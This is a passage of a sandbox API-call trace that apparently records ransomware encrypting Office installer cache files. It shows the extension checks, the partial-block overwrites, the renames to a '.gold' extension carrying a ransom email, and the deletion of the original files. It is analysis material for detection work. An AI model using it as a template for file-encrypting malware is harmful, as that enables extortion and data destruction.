lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8c0a8*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.503] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0038.503] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f8c0a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8c0a8*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.505] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0038.505] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f8c0a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8c0a8*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.506] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f8c0a8 | out: hHeap=0x880000) returned 1 [0038.506] CloseHandle (hObject=0x1a0) returned 1 [0040.283] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0040.283] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0040.283] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0040.283] lstrlenW (lpString=".doc") returned 4 [0040.283] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0040.283] lstrlenW (lpString=".docx") returned 5 [0040.283] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0040.283] lstrlenW (lpString=".pdf") returned 4 [0040.283] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0040.283] lstrlenW (lpString=".xls") returned 4 [0040.283] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0040.283] lstrlenW (lpString=".xlsx") returned 5 [0040.283] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0040.283] lstrlenW (lpString=".ppt") returned 4 [0040.283] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0040.283] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0040.283] lstrlenW (lpString=".zip") returned 4 [0040.283] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0040.283] lstrlenW (lpString=".rar") returned 4 [0040.283] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0040.283] lstrlenW (lpString=".bz2") returned 4 [0040.283] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0040.283] lstrlenW (lpString=".7z") returned 3 [0040.284] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0040.284] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0040.284] lstrlenW (lpString=".dbf") returned 4 [0040.284] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0040.284] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0040.284] lstrlenW (lpString=".1cd") returned 4 [0040.284] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0040.284] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0040.284] lstrlenW (lpString=".jpg") returned 4 [0040.284] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0040.284] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0040.284] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0040.284] lstrlenW (lpString=".doc") returned 4 [0040.284] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0040.284] lstrlenW (lpString=".docx") returned 5 [0040.284] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0040.284] lstrlenW (lpString=".pdf") returned 4 [0040.284] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0040.284] lstrlenW (lpString=".xls") returned 4 [0040.284] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0040.284] lstrlenW (lpString=".xlsx") returned 5 [0040.284] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0040.284] lstrlenW (lpString=".ppt") returned 4 [0040.284] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0040.284] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0040.284] lstrlenW (lpString=".zip") returned 4 [0040.284] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0040.284] lstrlenW (lpString=".rar") returned 4 [0040.284] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0040.284] lstrlenW (lpString=".bz2") returned 4 [0040.284] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0040.284] lstrlenW (lpString=".7z") returned 3 [0040.284] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0040.284] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0040.284] lstrlenW (lpString=".dbf") returned 4 [0040.284] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0040.284] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0040.284] lstrlenW (lpString=".1cd") returned 4 [0040.284] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0040.284] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0040.284] lstrlenW (lpString=".jpg") returned 4 [0040.284] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0040.284] lstrcmpiW (lpString1=".msi", lpString2=".gold") returned 1 [0040.284] lstrlenW (lpString="Proofing.msi") returned 12 [0040.284] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.285] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=868864) returned 1 [0040.285] CloseHandle (hObject=0x1e8) returned 1 [0040.285] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 0x2020 [0040.285] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.285] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.285] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0040.285] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0040.285] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0040.285] GetLastError () returned 0x0 [0040.285] ReadFile (in: hFile=0x1e8, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0xd4200, lpOverlapped=0x0) returned 1 [0040.304] WriteFile (in: hFile=0x1e4, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0040.316] ReadFile (in: hFile=0x1e8, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0040.316] WriteFile (in: hFile=0x1e4, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xec, lpOverlapped=0x0) returned 1 [0040.316] SetEndOfFile (hFile=0x1e4) returned 1 [0040.316] CloseHandle (hObject=0x1e4) returned 1 [0040.554] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0040.558] SetEndOfFile (hFile=0x1e8) returned 1 [0040.575] CloseHandle (hObject=0x1e8) returned 1 [0040.575] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0040.575] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 1 [0040.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0040.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0040.575] lstrlenW (lpString=".doc") returned 4 [0040.575] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0040.575] lstrlenW (lpString=".docx") returned 5 [0040.575] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0040.575] lstrlenW (lpString=".pdf") returned 4 [0040.575] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0040.575] lstrlenW (lpString=".xls") returned 4 [0040.575] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0040.575] lstrlenW (lpString=".xlsx") returned 5 [0040.575] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0040.575] lstrlenW (lpString=".ppt") returned 4 [0040.575] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0040.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0040.575] lstrlenW (lpString=".zip") returned 4 [0040.575] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0040.575] lstrlenW (lpString=".rar") returned 4 [0040.575] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0040.575] lstrlenW (lpString=".bz2") returned 4 [0040.575] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0040.576] lstrlenW (lpString=".7z") returned 3 [0040.576] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0040.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0040.576] lstrlenW (lpString=".dbf") returned 4 [0040.576] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0040.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0040.576] lstrlenW (lpString=".1cd") returned 4 [0040.576] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0040.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0040.576] lstrlenW (lpString=".jpg") returned 4 [0040.576] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0040.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0040.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0040.576] lstrlenW (lpString=".doc") returned 4 [0040.576] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0040.576] lstrlenW (lpString=".docx") returned 5 [0040.576] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0040.576] lstrlenW (lpString=".pdf") returned 4 [0040.576] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0040.576] lstrlenW (lpString=".xls") returned 4 [0040.576] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0040.576] lstrlenW (lpString=".xlsx") returned 5 [0040.576] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0040.576] lstrlenW (lpString=".ppt") returned 4 [0040.576] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0040.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0040.576] lstrlenW (lpString=".zip") returned 4 [0040.576] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0040.576] lstrlenW (lpString=".rar") returned 4 [0040.576] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0040.576] lstrlenW (lpString=".bz2") returned 4 [0040.576] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0040.576] lstrlenW (lpString=".7z") returned 3 [0040.576] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0040.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0040.576] lstrlenW (lpString=".dbf") returned 4 [0040.576] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0040.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0040.576] lstrlenW (lpString=".1cd") returned 4 [0040.576] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0040.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0040.576] lstrlenW (lpString=".jpg") returned 4 [0040.576] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0040.576] lstrcmpiW (lpString1=".cab", lpString2=".gold") returned -1 [0040.576] lstrlenW (lpString="OWOW32LR.cab") returned 12 [0040.576] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.577] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=2928955) returned 1 [0040.577] CloseHandle (hObject=0x1e8) returned 1 [0040.577] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab")) returned 0x2020 [0040.577] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.577] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0040.577] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.577] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0x0) returned 1 [0040.577] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0040.577] ReadFile (in: hFile=0x1e8, lpBuffer=0x3960058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x3960058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.580] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0040.580] ReadFile (in: hFile=0x1e8, lpBuffer=0x39a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39a0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.588] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0040.588] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0040.588] ReadFile (in: hFile=0x1e8, lpBuffer=0x39e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39e0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.605] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0040.605] WriteFile (in: hFile=0x1e8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0040.736] SetEndOfFile (hFile=0x1e8) returned 1 [0040.736] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f74098 [0040.740] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0040.740] WriteFile (in: hFile=0x1e8, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.742] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0040.742] WriteFile (in: hFile=0x1e8, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.747] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0040.747] WriteFile (in: hFile=0x1e8, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.748] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f74098 | out: hHeap=0x880000) returned 1 [0040.748] CloseHandle (hObject=0x1e8) returned 1 [0041.221] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0041.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0041.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0041.221] lstrlenW (lpString=".doc") returned 4 [0041.221] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0041.221] lstrlenW (lpString=".docx") returned 5 [0041.221] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0041.221] lstrlenW (lpString=".pdf") returned 4 [0041.221] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0041.221] lstrlenW (lpString=".xls") returned 4 [0041.221] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0041.221] lstrlenW (lpString=".xlsx") returned 5 [0041.221] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0041.221] lstrlenW (lpString=".ppt") returned 4 [0041.221] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0041.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0041.221] lstrlenW (lpString=".zip") returned 4 [0041.221] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0041.221] lstrlenW (lpString=".rar") returned 4 [0041.221] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0041.221] lstrlenW (lpString=".bz2") returned 4 [0041.221] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0041.221] lstrlenW (lpString=".7z") returned 3 [0041.221] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0041.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0041.221] lstrlenW (lpString=".dbf") returned 4 [0041.221] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0041.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0041.221] lstrlenW (lpString=".1cd") returned 4 [0041.221] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0041.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0041.221] lstrlenW (lpString=".jpg") returned 4 [0041.221] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0041.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0041.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0041.222] lstrlenW (lpString=".doc") returned 4 [0041.222] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0041.222] lstrlenW (lpString=".docx") returned 5 [0041.222] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0041.222] lstrlenW (lpString=".pdf") returned 4 [0041.222] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0041.222] lstrlenW (lpString=".xls") returned 4 [0041.222] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0041.222] lstrlenW (lpString=".xlsx") returned 5 [0041.222] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0041.222] lstrlenW (lpString=".ppt") returned 4 [0041.222] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0041.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0041.222] lstrlenW (lpString=".zip") returned 4 [0041.222] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0041.222] lstrlenW (lpString=".rar") returned 4 [0041.222] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0041.222] lstrlenW (lpString=".bz2") returned 4 [0041.222] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0041.222] lstrlenW (lpString=".7z") returned 3 [0041.222] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0041.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0041.222] lstrlenW (lpString=".dbf") returned 4 [0041.222] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0041.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0041.222] lstrlenW (lpString=".1cd") returned 4 [0041.222] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0041.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0041.222] lstrlenW (lpString=".jpg") returned 4 [0041.222] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0041.222] lstrcmpiW (lpString1=".msi", lpString2=".gold") returned 1 [0041.222] lstrlenW (lpString="InfoPathMUI.msi") returned 15 [0041.222] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0041.223] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2daff1c | out: 